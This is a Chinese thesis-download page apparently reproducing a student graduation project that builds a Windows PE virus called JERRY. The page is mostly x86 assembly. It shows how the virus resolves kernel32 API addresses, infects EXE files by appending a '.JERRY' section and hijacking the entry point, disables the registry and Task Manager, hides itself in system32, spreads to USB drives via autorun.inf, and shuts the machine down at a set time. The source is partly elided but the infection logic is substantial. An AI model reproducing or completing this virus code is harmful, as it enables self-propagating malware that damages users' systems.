【编者按】网学网其他类别频道为大家收集整理了“基于PE病毒实现EXE文件的感染研究“提供大家参考,希望对大家有所帮助!
客服咨询,网学网竭诚为您服务,本站永久域名:myeducs.cn | ||||||
1.基本流程图 通过已知函数名称和Kerner32引出表来查找所需API函数地址并存放,方便以后使用。相关理论知识参照2.2.4获取API函数地址。基本搜索流程如图2。 2.核心代码 lea edi,[ebp+aGetModuleHandle] ;EDI指向API函数地址存放位置 lea esi,[ebp+lpApiAddrs] ;ESI指向API函数名字串偏移地址Loop_Get_API: lodsd ;EAX,DS:ESI cmp eax,0 jz End_Get_API add eax,ebp push eax ;第一次EAX中放着GetModuleHandleA函数名字串的真实位置 push dword ptr [ebp+k32Base] ;kernel32.dll基地址 call GetAPIAdd ;SearchAPI.asm中过程GetAPIA proto :DWORD,:DWORD stosd jmp Loop_Get_API ;获得API地址,参见SearchAPI.asm文件 End_Get_API:
1.基本流程图 这是病毒将自身寄生到HOST中,感染部分的模块。基本感染流程如图3。
cmp word ptr [esi],''ZM'' ;PE文件判断第一步 jne CouldNotInfect cmp word ptr [esi],''EP'' ;PE文件判断第二步 jne CouldNotInfect cmp dword ptr [esi+8],''JERR'' ;文件是否已经感染 je Loop_Get_Path ;如果已经感染过了,试图感染下一个指定文件 …… mov [ebp+pe_Header],esi ;保存pe_Header指针 mov ecx,[esi+74h] ;得到directory的数目 imul ecx,ecx,8 lea eax,[ecx+esi+78h] ;eax=data directory结束地址=节表起始地址 movzx ecx,word ptr [esi+6h] ;节数目 imul ecx,ecx,28h ;得到所有节表的大小 add eax,ecx ;节结尾 xchg eax,esi ;eax->Pe_header,esi->最后节开始偏移(即病毒节开始处) ;----------以上得到了新节的起始地址,以下是利用起始对病毒节的操作------------ mov dword ptr [esi],''REJ.'' ;节名.JERRY mov dword ptr [esi+8],VirusLen ;节的实际大小 …… mov dword ptr [esi+10h],eax ;保存节对齐文件后的大小 mov eax,[esi-40+14h] add eax,[esi-40+10h] mov [esi+14h],eax ;PointerToRawData更新 mov [ebp+oldEnd],eax ;病毒代码往HOST文件中的写入点 mov eax,[ebp+pe_Header] inc word ptr [eax+6h] ;更新节数目 mov ebx,[eax+28h] ;eip指针偏移 mov [ebp+oldEip],ebx ;保存老指针 mov ebx,[ebp+newEip] ;使HOST程序首先执行病毒程序 mov [eax+28h],ebx ;更新指针值 mov ebx,[eax+50h] ;更新ImageSize add ebx,VirusLen …… mov [eax+50h],ebx ;确保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度 mov dword ptr [eax+8],''JERR'' ;病毒感染标志直接写到被感染文件的PE头中 cld mov ecx,VirusLen mov edi,[ebp+oldEnd] add edi,[ebp+pMem] lea esi,[ebp+vBegin] rep movsb ;将病毒代码写入目标文件新建的节中! …… push [ebp+hFile] call [ebp+aSetFilePointer] ;设定文件读写指针 push [ebp+hFile] call [ebp+aSetEndOfFile] ; 将当前文件位置设为文件末尾 4.1.8病毒程序感染及U盘传播模块-EffectU.ASM 1.基本流程图 本模块是主要的不发作的破坏模块,包括禁用注册表,禁用任务管理器,关联NOTEPDA.EXE,把自己隐藏并存放到系统目录下,传播U盘等。如图4。 本模块的程序流程图如图4所示。
call [ebp+aLoadLibrary] ;导入advapi32.dll链接库 mov ebx,eax lea edx,[ebp+sRegOpenKeyExA] push edx push ebx call [ebp+aGetProcAddress] ;获取RegOpenKeyExA函数的地址 …… call [ebp+aRegOpenKeyExA] ;修改注册表与NOTEPAD.EXE关联 …… call [ebp+aRegSetValueExA] …… push FALSE lea eax,[ebp+destinationaddr] push eax lea eax,[ebp+sourceaddr] push eax call [ebp+aCopyFileA] ;把JERRY.EXE拷贝到C:WINDOWS\system32\JERRY.EXE ;------------------------------- push FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN lea eax,[ebp+destinationaddr] push eax call [ebp+aSetFileAttributes] …… call [ebp+aGetDriveTypeA] ;取得U盘的盘符 cmp eax,DRIVE_REMOVABLE …… call [ebp+aCopyFileA] ;拷贝文件\system32\JERRY.exe到#:\JERRY.EXE …… push FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN …… push GENERIC_READ+GENERIC_WRITE call [ebp+aCreateFile] ;生成空#:\autorun.inf …… call [ebp+aWriteFile] ;为anturun.inf写入内容 …… 4.1.9病毒程序发作模块-Burst.ASM 1.基本流程图 病毒会取系统时间并选择在合适的时间发作,发作的征兆有提示框,关机。 2.核心代码 call [ebp+aLoadLibrary] ;导入user32.dll链接库 mov ebx,eax lea edx,[ebp+sMessageBoxA] push edx push eax call [ebp+aGetProcAddress] ;获取MessageBoxA函数的地址 …… lea eax,[ebp+Time] ;23:20-23:59分之间发作 push eax call [ebp+aGetSystemTime] cmp [ebp+Time].wHour,0Fh jnz No_Infect cmp [ebp+Time].wMinute,3Bh ja No_Infect cmp [ebp+Time].wMinute,14h jb No_Infect …… push 0 call [ebp+aMessageBoxA] …… push SW_SHOW lea eax,[ebp+shutdown]
call [ebp+aWinExec] 4.2病毒程序测试 4.2.1病毒程序测试环境 1.环境一 系统:Microsoft Windows XP Professional Service Pack 2 主机:AMD Athlon(tm) 64 Processor 2800+ 1G内存 2.环境二 系统:Microsoft Windows XP Professional Service Pack 2 主机:AMD sempron(tm) 2400+ 512M内存 3.环境三 系统:Microsoft Windows XP Professional Service Pack 2 主机:Pentium-M 1.6GHZ 512M内存 4.2.2病毒程序测试过程
主机未被感染,U盘已带毒,用户使用U盘造成感染。测试一流程如图6。
| ||||||
本站发布的计算机毕业设计均是完整无错的全套作品,包含开题报告+程序+论文+源代码+翻译+答辩稿PPT | ||||||
本文选自计算机毕业设计http://myeducs.cn |